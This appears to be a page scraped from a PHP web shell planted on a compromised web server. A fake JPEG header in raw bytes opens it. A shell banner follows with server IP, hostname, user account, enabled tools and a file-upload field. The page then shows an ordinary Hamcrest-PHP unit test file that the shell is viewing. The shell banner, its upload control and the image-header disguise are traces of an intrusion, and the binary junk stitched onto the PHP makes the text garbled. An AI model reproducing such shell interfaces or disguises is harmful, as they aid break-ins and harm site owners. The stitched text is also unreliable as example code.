ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vendor/hamcrest/hamcrest-php/tests/Hamcrest/ |
Upload File : |
<?php
namespace Hamcrest;
class Thingy
{
private $_result;
public function __construct($result)
{
$this->_result = $result;
}
public function getResult()
{
return $this->_result;
}
}
/* Test-specific subclass only */
class ResultMatcher extends \Hamcrest\FeatureMatcher
{
public function __construct()
{
parent::__construct(self::TYPE_ANY, null, equalTo('bar'), 'Thingy with result', 'result');
}
public function featureValueOf($actual)
{
if ($actual instanceof \Hamcrest\Thingy) {
return $actual->getResult();
}
}
}
class FeatureMatcherTest extends \Hamcrest\AbstractMatcherTest
{
private $_resultMatcher;
public function setUp()
{
$this->_resultMatcher = $this->_resultMatcher();
}
protected function createMatcher()
{
return $this->_resultMatcher();
}
public function testMatchesPartOfAnObject()
{
$this->assertMatches($this->_resultMatcher, new \Hamcrest\Thingy('bar'), 'feature');
$this->assertDescription('Thingy with result "bar"', $this->_resultMatcher);
}
public function testMismatchesPartOfAnObject()
{
$this->assertMismatchDescription(
'result was "foo"',
$this->_resultMatcher,
new \Hamcrest\Thingy('foo')
);
}
public function testDoesNotGenerateNoticesForNull()
{
$this->assertMismatchDescription('result was null', $this->_resultMatcher, null);
}
// -- Creation Methods
private function _resultMatcher()
{
return new \Hamcrest\ResultMatcher();
}
}